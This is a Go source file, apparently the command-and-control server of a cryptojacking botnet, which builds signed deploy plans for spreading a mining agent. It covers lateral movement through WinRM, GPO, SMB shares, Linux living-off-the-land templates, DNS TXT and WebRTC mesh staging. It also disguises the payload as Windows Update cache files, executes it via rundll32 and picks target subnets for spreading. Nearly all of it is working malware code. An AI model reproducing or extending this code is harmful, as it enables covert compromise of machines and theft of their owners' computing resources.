Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
777 lines
23 KiB
Go
777 lines
23 KiB
Go
package api
|
||
|
||
import (
|
||
"crypto/hmac"
|
||
"crypto/sha256"
|
||
"encoding/hex"
|
||
"encoding/json"
|
||
"fmt"
|
||
"io"
|
||
"net/http"
|
||
"os"
|
||
"path/filepath"
|
||
"strings"
|
||
|
||
dbpkg "crypto-miner-server/internal/db"
|
||
"crypto-miner-server/internal/erasure"
|
||
"crypto-miner-server/internal/models"
|
||
"crypto-miner-server/internal/spreadrouter"
|
||
)
|
||
|
||
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
|
||
type StagingManifest struct {
|
||
Method string `json:"method"`
|
||
Chunks []StagingChunk `json:"chunks"`
|
||
SHA256 string `json:"sha256"`
|
||
Dest string `json:"dest"`
|
||
Launch string `json:"launch"`
|
||
DLLExport string `json:"dll_export,omitempty"`
|
||
Encoded bool `json:"encoded"`
|
||
DeferMining bool `json:"defer_mining,omitempty"`
|
||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||
PeerGroup string `json:"peer_group,omitempty"`
|
||
CacheGroup string `json:"cache_group,omitempty"`
|
||
DNSZone string `json:"dns_zone,omitempty"`
|
||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||
}
|
||
|
||
// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans.
|
||
type WebRTCMeshPlanBody struct {
|
||
STUNServers []string `json:"stun_servers,omitempty"`
|
||
SignalingRelay string `json:"signaling_relay,omitempty"`
|
||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
||
RotationHours int `json:"rotation_hours,omitempty"`
|
||
IsSeeder bool `json:"is_seeder,omitempty"`
|
||
}
|
||
|
||
type StagingChunk struct {
|
||
URL string `json:"url"`
|
||
File string `json:"file"`
|
||
Record string `json:"record,omitempty"`
|
||
Index int `json:"index,omitempty"`
|
||
}
|
||
|
||
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
|
||
type DeployPlanBody struct {
|
||
JoinLane string `json:"join_lane"`
|
||
MatchedService string `json:"matched_service,omitempty"`
|
||
Action string `json:"action"`
|
||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||
PeerGroup string `json:"peer_group,omitempty"`
|
||
CacheGroup string `json:"cache_group,omitempty"`
|
||
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
|
||
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
|
||
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
|
||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
|
||
Script string `json:"script,omitempty"`
|
||
UNCPath string `json:"unc_path,omitempty"`
|
||
MaxHosts int `json:"max_hosts,omitempty"`
|
||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
|
||
}
|
||
|
||
type deployPlanRequest struct {
|
||
AgentID string `json:"agent_id"`
|
||
BuildID string `json:"build_id,omitempty"`
|
||
Campaign string `json:"campaign,omitempty"`
|
||
Platform string `json:"platform"`
|
||
Services []DeployServiceFinding `json:"services"`
|
||
UNCPath string `json:"unc_path,omitempty"`
|
||
WSUSFormatMimic *bool `json:"wsus_format_mimic,omitempty"`
|
||
}
|
||
|
||
type deployPlanResponse struct {
|
||
OK bool `json:"ok"`
|
||
Error string `json:"error,omitempty"`
|
||
JoinLane string `json:"join_lane"`
|
||
MatchedService string `json:"matched_service,omitempty"`
|
||
Plan DeployPlanBody `json:"plan"`
|
||
Signature string `json:"signature"`
|
||
}
|
||
|
||
// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery.
|
||
type DeployPlanHandler struct {
|
||
db *dbpkg.Database
|
||
dataDir string
|
||
projectRoot string
|
||
publicURL func() string
|
||
fleetSecret func() string
|
||
allowlist func() map[string]ServiceDeployLane
|
||
pathTracer *PathTracerHandler
|
||
erasureEnabled func() bool
|
||
erasureShards *erasure.ShardStore
|
||
}
|
||
|
||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||
return &DeployPlanHandler{
|
||
db: database,
|
||
dataDir: dataDir,
|
||
projectRoot: projectRoot,
|
||
publicURL: publicURL,
|
||
fleetSecret: fleetSecret,
|
||
allowlist: allowlist,
|
||
}
|
||
}
|
||
|
||
// BindPathTracer wires Path Tracer sessions into spread-route recommendations.
|
||
func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
|
||
h.pathTracer = handler
|
||
}
|
||
|
||
// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
|
||
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
|
||
h.erasureEnabled = enabled
|
||
h.erasureShards = store
|
||
}
|
||
|
||
// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots.
|
||
func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) {
|
||
h.erasureShards = store
|
||
if hub == nil {
|
||
return
|
||
}
|
||
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
|
||
}
|
||
|
||
// POST /api/v1/agent/deploy-plan
|
||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||
var req deployPlanRequest
|
||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||
return
|
||
}
|
||
if len(req.Services) == 0 {
|
||
http.Error(w, "services required", http.StatusBadRequest)
|
||
return
|
||
}
|
||
|
||
list := map[string]ServiceDeployLane{}
|
||
if h.allowlist != nil {
|
||
list = h.allowlist()
|
||
}
|
||
matched, lane, ok := PickDeployLane(req.Services, list)
|
||
if !ok {
|
||
writeJSON(w, map[string]interface{}{
|
||
"ok": false,
|
||
"error": "no allowlisted running services matched",
|
||
"checked": len(req.Services),
|
||
})
|
||
return
|
||
}
|
||
|
||
plan, err := h.buildPlan(req, matched, lane)
|
||
if err != nil {
|
||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||
return
|
||
}
|
||
sig, err := signDeployPlan(plan, h.fleetSecret())
|
||
if err != nil {
|
||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||
return
|
||
}
|
||
|
||
writeJSON(w, deployPlanResponse{
|
||
OK: true,
|
||
JoinLane: plan.JoinLane,
|
||
MatchedService: matched,
|
||
Plan: plan,
|
||
Signature: sig,
|
||
})
|
||
}
|
||
|
||
func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) {
|
||
serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
|
||
if serverURL == "" {
|
||
serverURL = "http://127.0.0.1:8989"
|
||
}
|
||
|
||
body := DeployPlanBody{
|
||
JoinLane: lane.Lane,
|
||
MatchedService: matched,
|
||
Action: lane.Lane,
|
||
}
|
||
|
||
switch lane.Lane {
|
||
case "do_peer":
|
||
manifest, err := h.buildDOPeerManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
body.PeerGroup = manifest.PeerGroup
|
||
case "wsus_cache_peer":
|
||
manifest, err := h.buildWSUSCachePeerManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
body.CacheGroup = manifest.CacheGroup
|
||
case "dns_txt":
|
||
manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
body.DNSTXTZone = zone
|
||
body.DNSTXTRecords = records
|
||
body.DNSTXTShards = shards
|
||
body.TTLRefreshSec = ttl
|
||
case "webrtc_mesh":
|
||
manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
body.WebRTCMesh = mesh
|
||
case "bits_curl":
|
||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
case "docker_load":
|
||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID)
|
||
if body.ImageTarURL != "" && req.BuildID != "" {
|
||
if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" {
|
||
body.ImageTarSHA256 = hash
|
||
}
|
||
}
|
||
case "winrm", "gpo", "linux_lotl":
|
||
tpl := strings.TrimSpace(lane.Template)
|
||
if tpl == "" {
|
||
tpl = lane.Lane
|
||
}
|
||
script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Script = script
|
||
case "spread_smb_unc":
|
||
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
||
body.MaxHosts = 64
|
||
default:
|
||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||
}
|
||
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
|
||
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
return body, nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error {
|
||
if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil {
|
||
return nil
|
||
}
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
payload, err := os.ReadFile(build.FilePath)
|
||
if err != nil {
|
||
return fmt.Errorf("erasure read build: %w", err)
|
||
}
|
||
dest := `%TEMP%\AetherForge\worker.exe`
|
||
launch := "exe"
|
||
dllExport := ""
|
||
if body.Manifest != nil {
|
||
if body.Manifest.Dest != "" {
|
||
dest = body.Manifest.Dest
|
||
}
|
||
if body.Manifest.Launch != "" {
|
||
launch = body.Manifest.Launch
|
||
}
|
||
dllExport = body.Manifest.DLLExport
|
||
}
|
||
deferMining := true
|
||
spreadInstall := true
|
||
if body.Manifest != nil {
|
||
deferMining = body.Manifest.DeferMining
|
||
spreadInstall = body.Manifest.SpreadInstall
|
||
}
|
||
plan, err := erasure.BuildPlan(
|
||
h.erasureShards, serverURL, buildID, req.Campaign, payload,
|
||
dest, launch, dllExport, deferMining, spreadInstall,
|
||
)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
body.ErasurePlan = plan
|
||
if body.SpreadRouteHint != nil {
|
||
body.SpreadRouteHint.ErasureLanesEnabled = true
|
||
}
|
||
return nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
|
||
if h.pathTracer == nil {
|
||
return nil
|
||
}
|
||
patientID := strings.TrimSpace(req.AgentID)
|
||
targets := spreadRouteTargetSubnets(h.pathTracer, h.db, patientID)
|
||
if len(targets) == 0 {
|
||
return nil
|
||
}
|
||
var best *spreadrouter.SpreadRouteHint
|
||
for _, target := range targets {
|
||
if hint := h.pathTracer.RecommendSpreadRoute(target, joinLane, patientID); hint != nil {
|
||
if best == nil || hint.Score > best.Score {
|
||
dup := *hint
|
||
best = &dup
|
||
}
|
||
}
|
||
}
|
||
return best
|
||
}
|
||
|
||
func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Database, agentID string) []string {
|
||
seen := make(map[string]bool)
|
||
var out []string
|
||
add := func(sub string) {
|
||
sub = spreadrouter.NormalizeSubnet(sub)
|
||
if sub == "" || seen[sub] {
|
||
return
|
||
}
|
||
seen[sub] = true
|
||
out = append(out, sub)
|
||
}
|
||
if database != nil && agentID != "" {
|
||
if ag, err := database.GetAgent(agentID); err == nil && ag != nil {
|
||
add(spreadrouter.SubnetFromIP(ag.IP))
|
||
}
|
||
}
|
||
for _, sess := range traceSessionsSnapshot(pathTracer) {
|
||
if sess == nil {
|
||
continue
|
||
}
|
||
patientInChain := false
|
||
for _, hop := range sess.Hops {
|
||
if hop != nil && hop.AgentID == agentID {
|
||
patientInChain = true
|
||
add(spreadrouter.SubnetFromIP(hop.ExternalIP))
|
||
break
|
||
}
|
||
}
|
||
if !patientInChain && agentID != "" {
|
||
continue
|
||
}
|
||
for _, host := range serviceGraphList(sess.ServiceGraph) {
|
||
add(host.Subnet)
|
||
add(spreadrouter.SubnetFromIP(host.Host))
|
||
}
|
||
}
|
||
return out
|
||
}
|
||
|
||
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
||
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
|
||
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
||
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
hash, err := fileSHA256(build.FilePath)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("build hash: %w", err)
|
||
}
|
||
|
||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||
peerGroup := "af-peer-" + hash[:8]
|
||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||
peerGroup = "af-peer-" + sanitizeDeployToken(campaign)
|
||
}
|
||
|
||
dest := `%TEMP%\AetherForge\do-peer-worker.exe`
|
||
launch := "exe"
|
||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||
dest = `%TEMP%\AetherForge\do-peer-worker.dll`
|
||
launch = "rundll32"
|
||
}
|
||
|
||
return &StagingManifest{
|
||
Method: "bits",
|
||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||
SHA256: hash,
|
||
Dest: dest,
|
||
Launch: launch,
|
||
DLLExport: "DllRegisterServer",
|
||
DeferMining: true,
|
||
SpreadInstall: true,
|
||
PeerGroup: peerGroup,
|
||
}, nil
|
||
}
|
||
|
||
// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download.
|
||
func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
hash, err := fileSHA256(build.FilePath)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("build hash: %w", err)
|
||
}
|
||
|
||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||
chunkFile := filepath.Base(build.FileName)
|
||
if wsusFormatMimicEnabled(req.WSUSFormatMimic) {
|
||
chunkFile = wsusFormatMimicChunkName(hash, 0)
|
||
if !strings.Contains(downloadURL, "wsus_wrap=1") {
|
||
if strings.Contains(downloadURL, "?") {
|
||
downloadURL += "&wsus_wrap=1"
|
||
} else {
|
||
downloadURL += "?wsus_wrap=1"
|
||
}
|
||
}
|
||
}
|
||
cacheGroup := "af-wsus-" + hash[:8]
|
||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
|
||
}
|
||
|
||
dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe`
|
||
launch := "exe"
|
||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||
dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll`
|
||
launch = "rundll32"
|
||
}
|
||
|
||
return &StagingManifest{
|
||
Method: "bits",
|
||
Chunks: []StagingChunk{{URL: downloadURL, File: chunkFile}},
|
||
SHA256: hash,
|
||
Dest: dest,
|
||
Launch: launch,
|
||
DLLExport: "DllRegisterServer",
|
||
DeferMining: true,
|
||
SpreadInstall: true,
|
||
CacheGroup: cacheGroup,
|
||
}, nil
|
||
}
|
||
|
||
func wsusFormatMimicEnabled(flag *bool) bool {
|
||
if flag == nil {
|
||
return true
|
||
}
|
||
return *flag
|
||
}
|
||
|
||
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
|
||
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return nil, "", nil, nil, 0, err
|
||
}
|
||
hash, err := fileSHA256(build.FilePath)
|
||
if err != nil {
|
||
return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err)
|
||
}
|
||
|
||
zone := h.dnsTXTZone()
|
||
records := []string{
|
||
"_aether.shard0." + zone,
|
||
"_aether.shard1." + zone,
|
||
}
|
||
shards := []int{0, 1}
|
||
ttl := 300
|
||
|
||
chunks := make([]StagingChunk, len(records))
|
||
for i, rec := range records {
|
||
chunks[i] = StagingChunk{
|
||
Record: rec,
|
||
Index: shards[i],
|
||
File: fmt.Sprintf("shard-%d.b64", shards[i]),
|
||
URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec),
|
||
}
|
||
}
|
||
|
||
dest := `%TEMP%\AetherForge\dns-txt-worker.exe`
|
||
launch := "exe"
|
||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||
dest = `%TEMP%\AetherForge\dns-txt-worker.dll`
|
||
launch = "rundll32"
|
||
}
|
||
|
||
manifest := &StagingManifest{
|
||
Method: "dns_txt",
|
||
Chunks: chunks,
|
||
SHA256: hash,
|
||
Dest: dest,
|
||
Launch: launch,
|
||
DLLExport: "DllRegisterServer",
|
||
DeferMining: true,
|
||
SpreadInstall: true,
|
||
DNSZone: zone,
|
||
TTLRefreshSec: ttl,
|
||
}
|
||
return manifest, zone, records, shards, ttl, nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) dnsTXTZone() string {
|
||
zone := "internal"
|
||
if h.allowlist != nil {
|
||
_ = h.allowlist()
|
||
}
|
||
if h.dataDir != "" {
|
||
cfgPath := filepath.Join(h.dataDir, "config.json")
|
||
if data, err := os.ReadFile(cfgPath); err == nil {
|
||
var payload struct {
|
||
Server struct {
|
||
DNSZone string `json:"dns_zone"`
|
||
} `json:"server"`
|
||
}
|
||
if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" {
|
||
zone = strings.TrimSpace(payload.Server.DNSZone)
|
||
}
|
||
}
|
||
}
|
||
return zone
|
||
}
|
||
|
||
// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet.
|
||
func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) {
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return nil, nil, err
|
||
}
|
||
hash, err := fileSHA256(build.FilePath)
|
||
if err != nil {
|
||
return nil, nil, fmt.Errorf("build hash: %w", err)
|
||
}
|
||
|
||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||
fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&")
|
||
if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" {
|
||
fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&")
|
||
}
|
||
|
||
dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe`
|
||
launch := "exe"
|
||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||
dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll`
|
||
launch = "rundll32"
|
||
}
|
||
|
||
manifest := &StagingManifest{
|
||
Method: "webrtc_mesh",
|
||
SHA256: hash,
|
||
Dest: dest,
|
||
Launch: launch,
|
||
DLLExport: "DllRegisterServer",
|
||
DeferMining: true,
|
||
SpreadInstall: true,
|
||
}
|
||
mesh := &WebRTCMeshPlanBody{
|
||
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
||
SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay",
|
||
LANFallbackURL: fallbackURL,
|
||
SeederAgentID: strings.TrimSpace(req.AgentID),
|
||
RotationHours: 24,
|
||
}
|
||
return manifest, mesh, nil
|
||
}
|
||
|
||
func sanitizeDeployToken(s string) string {
|
||
s = strings.ToLower(strings.TrimSpace(s))
|
||
var b strings.Builder
|
||
for _, r := range s {
|
||
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
|
||
b.WriteRune(r)
|
||
}
|
||
}
|
||
out := b.String()
|
||
if out == "" {
|
||
return "local"
|
||
}
|
||
if len(out) > 24 {
|
||
return out[:24]
|
||
}
|
||
return out
|
||
}
|
||
|
||
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
hash, err := fileSHA256(build.FilePath)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("build hash: %w", err)
|
||
}
|
||
|
||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||
|
||
method := "bits"
|
||
if platform == "linux" || platform == "darwin" {
|
||
method = "curl"
|
||
}
|
||
|
||
dest := `%TEMP%\AetherForge\worker.exe`
|
||
if platform == "linux" {
|
||
dest = "/tmp/aetherforge-worker"
|
||
}
|
||
|
||
return &StagingManifest{
|
||
Method: method,
|
||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||
SHA256: hash,
|
||
Dest: dest,
|
||
Launch: "exe",
|
||
DeferMining: true,
|
||
SpreadInstall: true,
|
||
}, nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) {
|
||
if buildID != "" {
|
||
b, err := h.db.GetBuild(buildID)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
return b, nil
|
||
}
|
||
b, err := h.db.GetLatestBuildForPlatform(platform)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("no build for platform %q: %w", platform, err)
|
||
}
|
||
return b, nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) {
|
||
b, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
return fileSHA256(b.FilePath)
|
||
}
|
||
|
||
func fileSHA256(path string) (string, error) {
|
||
f, err := os.Open(path)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
defer f.Close()
|
||
h := sha256.New()
|
||
if _, err := io.Copy(h, f); err != nil {
|
||
return "", err
|
||
}
|
||
return hex.EncodeToString(h.Sum(nil)), nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) {
|
||
subdir, _, err := spreadTemplatePaths(template)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
dir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
||
entries, err := os.ReadDir(dir)
|
||
if err != nil {
|
||
return "", fmt.Errorf("template dir: %w", err)
|
||
}
|
||
var scriptFile string
|
||
for _, e := range entries {
|
||
if e.IsDir() {
|
||
continue
|
||
}
|
||
name := e.Name()
|
||
if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") {
|
||
scriptFile = filepath.Join(dir, name)
|
||
break
|
||
}
|
||
}
|
||
if scriptFile == "" {
|
||
return "", fmt.Errorf("no script in template %s", subdir)
|
||
}
|
||
data, err := os.ReadFile(scriptFile)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||
repl := map[string]string{
|
||
"{{SERVER_URL}}": serverURL,
|
||
"{{BUILD_ID}}": buildID,
|
||
"{{CAMPAIGN}}": campaign,
|
||
"{{QUERY_SUFFIX}}": querySuffix,
|
||
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
||
"{{COM_HIJACK}}": "false",
|
||
"{{LOTL_MODE}}": "systemd_run_user",
|
||
"{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`,
|
||
}
|
||
content := string(data)
|
||
for k, v := range repl {
|
||
content = strings.ReplaceAll(content, k, v)
|
||
}
|
||
return content, nil
|
||
}
|
||
|
||
func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) {
|
||
if fleetSecret == "" {
|
||
return "", fmt.Errorf("fleet secret not configured")
|
||
}
|
||
payload, err := json.Marshal(plan)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||
mac.Write(payload)
|
||
return hex.EncodeToString(mac.Sum(nil)), nil
|
||
}
|
||
|
||
// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2.
|
||
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
||
if fleetSecret == "" || signature == "" {
|
||
return false
|
||
}
|
||
payload, err := json.Marshal(plan)
|
||
if err != nil {
|
||
return false
|
||
}
|
||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||
mac.Write(payload)
|
||
expected := hex.EncodeToString(mac.Sum(nil))
|
||
return hmac.Equal([]byte(expected), []byte(signature))
|
||
}
|